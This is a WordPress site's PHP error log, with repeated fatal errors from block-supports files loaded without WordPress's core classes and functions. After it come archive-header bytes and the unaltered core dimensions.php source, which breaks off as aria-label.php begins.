[02-Nov-2025 11:44:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[02-Nov-2025 11:50:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[02-Nov-2025 12:02:37 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[02-Nov-2025 12:03:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[02-Nov-2025 12:04:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[02-Nov-2025 12:05:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[02-Nov-2025 12:06:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[02-Nov-2025 12:07:39 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[02-Nov-2025 12:08:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[02-Nov-2025 12:09:50 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[02-Nov-2025 12:10:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[02-Nov-2025 12:11:53 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[02-Nov-2025 12:12:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[02-Nov-2025 12:13:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[02-Nov-2025 12:14:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[02-Nov-2025 12:17:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[02-Nov-2025 12:19:05 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[02-Nov-2025 12:19:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[02-Nov-2025 12:22:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[03-Nov-2025 08:46:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php:251
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/block-style-variations.php on line 251
[03-Nov-2025 08:48:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/custom-classname.php on line 59
[03-Nov-2025 08:49:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[03-Nov-2025 08:52:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php:66
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/generated-classname.php on line 66
[03-Nov-2025 08:54:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[03-Nov-2025 08:55:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[03-Nov-2025 08:56:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[03-Nov-2025 08:57:41 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[03-Nov-2025 08:58:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[03-Nov-2025 08:59:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[03-Nov-2025 09:00:54 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[03-Nov-2025 09:01:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[03-Nov-2025 09:02:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[03-Nov-2025 09:04:00 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[03-Nov-2025 09:05:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[03-Nov-2025 09:06:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[03-Nov-2025 09:13:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[03-Nov-2025 09:26:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[03-Nov-2025 09:27:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[03-Nov-2025 09:29:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[03-Nov-2025 09:30:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[03-Nov-2025 09:31:52 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[03-Nov-2025 09:32:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[03-Nov-2025 09:33:53 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[03-Nov-2025 09:34:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[03-Nov-2025 09:36:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[03-Nov-2025 09:37:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[03-Nov-2025 09:41:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
[03-Nov-2025 09:44:35 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[03-Nov-2025 09:45:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[03-Nov-2025 09:47:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[03-Nov-2025 09:48:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[03-Nov-2025 09:49:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[03-Nov-2025 09:50:28 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[03-Nov-2025 09:51:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[03-Nov-2025 09:53:37 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[03-Nov-2025 09:54:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[03-Nov-2025 09:56:40 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[03-Nov-2025 09:57:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[03-Nov-2025 10:03:38 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[03-Nov-2025 10:06:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php:59
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/align.php on line 59
[03-Nov-2025 10:10:39 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php:164
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/dimensions.php on line 164
[03-Nov-2025 10:14:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php:111
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/background.php on line 111
[03-Nov-2025 10:16:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php:64
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/aria-label.php on line 64
[03-Nov-2025 10:16:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php:684
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/typography.php on line 684
[03-Nov-2025 10:18:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php:145
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/position.php on line 145
[03-Nov-2025 10:19:12 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php:980
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/layout.php on line 980
[03-Nov-2025 10:20:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php:170
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/border.php on line 170
[03-Nov-2025 10:22:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php:83
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/spacing.php on line 83
[03-Nov-2025 10:23:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php:79
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/shadow.php on line 79
[03-Nov-2025 10:24:16 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php:263
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/elements.php on line 263
[03-Nov-2025 10:25:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function add_filter() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php:151
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/settings.php on line 151
[03-Nov-2025 10:26:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php:36
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/duotone.php on line 36
[03-Nov-2025 10:27:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Block_Supports" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php:138
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/block-supports/colors.php on line 138
PK�Vd[�Mdimensions.phpnu�[���<?php
/**
 * Dimensions block support flag.
 *
 * This does not include the `spacing` block support even though that visually
 * appears under the "Dimensions" panel in the editor. It remains in its
 * original `spacing.php` file for compatibility with core.
 *
 * @package WordPress
 * @since 5.9.0
 */

/**
 * Registers the style block attribute for block types that support it.
 *
 * @since 5.9.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_dimensions_support( $block_type ) {
	// Setup attributes and styles within that if needed.
	if ( ! $block_type->attributes ) {
		$block_type->attributes = array();
	}

	// Check for existing style attribute definition e.g. from block.json.
	if ( array_key_exists( 'style', $block_type->attributes ) ) {
		return;
	}

	$has_dimensions_support = block_has_support( $block_type, 'dimensions', false );

	if ( $has_dimensions_support ) {
		$block_type->attributes['style'] = array(
			'type' => 'object',
		);
	}
}

/**
 * Adds CSS classes for block dimensions to the incoming attributes array.
 * This will be applied to the block markup in the front-end.
 *
 * @since 5.9.0
 * @since 6.2.0 Added `minHeight` support.
 * @access private
 *
 * @param WP_Block_Type $block_type       Block Type.
 * @param array         $block_attributes Block attributes.
 * @return array Block dimensions CSS classes and inline styles.
 */
function wp_apply_dimensions_support( $block_type, $block_attributes ) {
	if ( wp_should_skip_block_supports_serialization( $block_type, 'dimensions' ) ) {
		return array();
	}

	$attributes = array();

	// Width support to be added in near future.

	$has_min_height_support = block_has_support( $block_type, array( 'dimensions', 'minHeight' ), false );
	$block_styles           = isset( $block_attributes['style'] ) ? $block_attributes['style'] : null;

	if ( ! $block_styles ) {
		return $attributes;
	}

	$skip_min_height                      = wp_should_skip_block_supports_serialization( $block_type, 'dimensions', 'minHeight' );
	$dimensions_block_styles              = array();
	$dimensions_block_styles['minHeight'] = null;
	if ( $has_min_height_support && ! $skip_min_height ) {
		$dimensions_block_styles['minHeight'] = isset( $block_styles['dimensions']['minHeight'] )
			? $block_styles['dimensions']['minHeight']
			: null;
	}
	$styles = wp_style_engine_get_styles( array( 'dimensions' => $dimensions_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		$attributes['style'] = $styles['css'];
	}

	return $attributes;
}

/**
 * Renders server-side dimensions styles to the block wrapper.
 * This block support uses the `render_block` hook to ensure that
 * it is also applied to non-server-rendered blocks.
 *
 * @since 6.5.0
 * @access private
 *
 * @param  string $block_content Rendered block content.
 * @param  array  $block         Block object.
 * @return string                Filtered block content.
 */
function wp_render_dimensions_support( $block_content, $block ) {
	$block_type               = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
	$block_attributes         = ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) ? $block['attrs'] : array();
	$has_aspect_ratio_support = block_has_support( $block_type, array( 'dimensions', 'aspectRatio' ), false );

	if (
		! $has_aspect_ratio_support ||
		wp_should_skip_block_supports_serialization( $block_type, 'dimensions', 'aspectRatio' )
	) {
		return $block_content;
	}

	$dimensions_block_styles                = array();
	$dimensions_block_styles['aspectRatio'] = $block_attributes['style']['dimensions']['aspectRatio'] ?? null;

	// To ensure the aspect ratio does not get overridden by `minHeight` unset any existing rule.
	if (
		isset( $dimensions_block_styles['aspectRatio'] )
	) {
		$dimensions_block_styles['minHeight'] = 'unset';
	} elseif (
		isset( $block_attributes['style']['dimensions']['minHeight'] ) ||
		isset( $block_attributes['minHeight'] )
	) {
		$dimensions_block_styles['aspectRatio'] = 'unset';
	}

	$styles = wp_style_engine_get_styles( array( 'dimensions' => $dimensions_block_styles ) );

	if ( ! empty( $styles['css'] ) ) {
		// Inject dimensions styles to the first element, presuming it's the wrapper, if it exists.
		$tags = new WP_HTML_Tag_Processor( $block_content );

		if ( $tags->next_tag() ) {
			$existing_style = $tags->get_attribute( 'style' );
			$updated_style  = '';

			if ( ! empty( $existing_style ) ) {
				$updated_style = $existing_style;
				if ( ! str_ends_with( $existing_style, ';' ) ) {
					$updated_style .= ';';
				}
			}

			$updated_style .= $styles['css'];
			$tags->set_attribute( 'style', $updated_style );

			if ( ! empty( $styles['classnames'] ) ) {
				foreach ( explode( ' ', $styles['classnames'] ) as $class_name ) {
					if (
						str_contains( $class_name, 'aspect-ratio' ) &&
						! isset( $block_attributes['style']['dimensions']['aspectRatio'] )
					) {
						continue;
					}
					$tags->add_class( $class_name );
				}
			}
		}

		return $tags->get_updated_html();
	}

	return $block_content;
}

add_filter( 'render_block', 'wp_render_dimensions_support', 10, 2 );

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'dimensions',
	array(
		'register_attribute' => 'wp_register_dimensions_support',
		'apply'              => 'wp_apply_dimensions_support',
	)
);
PK�Vd[�h<KKaria-label.phpnu�[���<?php
/**
 * Aria label block support flag.
 *
 * @package WordPress
 * @since 6.8.0
 */

/**
 * Registers the aria-label block attribute for block types that support it.
 *
 * @since 6.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_aria_label_support( $block_type ) {
